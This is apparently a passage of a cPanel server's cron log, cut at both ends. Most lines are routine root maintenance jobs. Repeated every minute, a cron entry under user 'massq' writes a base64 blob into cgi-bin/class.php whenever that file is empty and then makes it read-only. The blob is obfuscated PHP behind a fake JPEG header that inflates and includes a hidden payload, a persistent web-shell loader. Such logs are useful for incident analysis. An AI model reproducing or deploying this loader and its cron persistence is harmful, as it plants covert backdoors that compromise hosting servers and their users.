UsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:22:01 server CROND[2288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:22:01 server CROND[2289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:22:01 server CROND[2290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:23:01 server CROND[2789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:23:01 server CROND[2788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:23:01 server CROND[2790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:24:01 server CROND[3159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:24:01 server CROND[3160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:24:01 server CROND[3161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:25:01 server CROND[3542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:25:01 server CROND[3545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:25:01 server CROND[3547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:25:01 server CROND[3544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:25:01 server CROND[3549]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:25:01 server CROND[3550]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 12:25:01 server CROND[3548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:25:01 server CROND[3546]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:26:01 server CROND[4380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:26:01 server CROND[4381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:26:01 server CROND[4382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:27:01 server CROND[4758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:27:01 server CROND[4759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:27:01 server CROND[4760]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 12:27:01 server CROND[4761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:28:01 server CROND[5217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:28:01 server CROND[5218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:28:01 server CROND[5219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:29:01 server CROND[5626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:29:01 server CROND[5627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:29:01 server CROND[5628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:30:01 server CROND[6041]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:30:01 server CROND[6043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:30:01 server CROND[6047]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:30:01 server CROND[6048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:30:01 server CROND[6045]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 12:30:01 server CROND[6052]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:30:01 server CROND[6051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:30:01 server CROND[6046]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:30:01 server CROND[6059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:31:01 server CROND[6910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:31:01 server CROND[6911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:31:01 server CROND[6912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:32:01 server CROND[7284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:32:01 server CROND[7285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:32:01 server CROND[7286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:33:01 server CROND[7663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:33:01 server CROND[7664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:33:01 server CROND[7665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 